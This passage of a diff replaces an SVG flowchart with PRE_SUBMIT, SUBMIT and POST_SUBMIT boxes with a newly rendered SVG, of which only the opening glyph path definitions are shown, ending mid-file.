-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1285.96,1674.67 1296,1669.74 1286.04,1664.67 "/>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1700" width="120" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1739.84">
-        <tspan x="1300" y="1739.84">PRE_SUBMIT</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1820" width="120" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1859.84">
-        <tspan x="1300" y="1859.84">SUBMIT</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1940" width="120" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1979.84">
-        <tspan x="1300" y="1979.84">POST_SUBMIT</tspan>
-      </text>
-    </g>
-  </g>
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="541pt" height="601pt" viewBox="0 0 541 601" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 2.453125 -2.15625 C 2.453125 -1.726562 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.898438 -0.96875 3.109375 -0.96875 C 3.359375 -0.96875 3.648438 -1.035156 3.984375 -1.171875 L 4.125 -0.125 C 3.96875 -0.03125 3.742188 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.507812 1.15625 -1.007812 1.15625 -1.71875 L 1.15625 -12.640625 L 2.453125 -12.640625 Z M 2.453125 -2.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.578125 -1.171875 L 3.9375 -7.078125 L 4.5625 -7.859375 L 0.578125 -7.859375 L 0.578125 -9.03125 L 5.859375 -9.03125 L 5.859375 -7.859375 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.859375 -1.171875 L 5.859375 0 L 0.578125 0 Z M 0.578125 -1.171875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.484375 C 5.6875 -6.328125 5.585938 -6.96875 5.390625 -7.40625 C 5.191406 -7.851562 4.796875 -8.078125 4.203125 -8.078125 C 3.785156 -8.078125 3.40625 -7.925781 3.0625 -7.625 C 2.71875 -7.320312 2.484375 -6.941406 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -12.640625 L 2.359375 -12.640625 L 2.359375 -8.1875 L 2.421875 -8.1875 C 2.660156 -8.5 2.957031 -8.753906 3.3125 -8.953125 C 3.664062 -9.148438 4.109375 -9.25 4.640625 -9.25 C 5.035156 -9.25 5.378906 -9.191406 5.671875 -9.078125 C 5.972656 -8.972656 6.21875 -8.785156 6.40625 -8.515625 C 6.601562 -8.253906 6.75 -7.90625 6.84375 -7.46875 C 6.9375 -7.03125 6.984375 -6.484375 6.984375 -5.828125 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
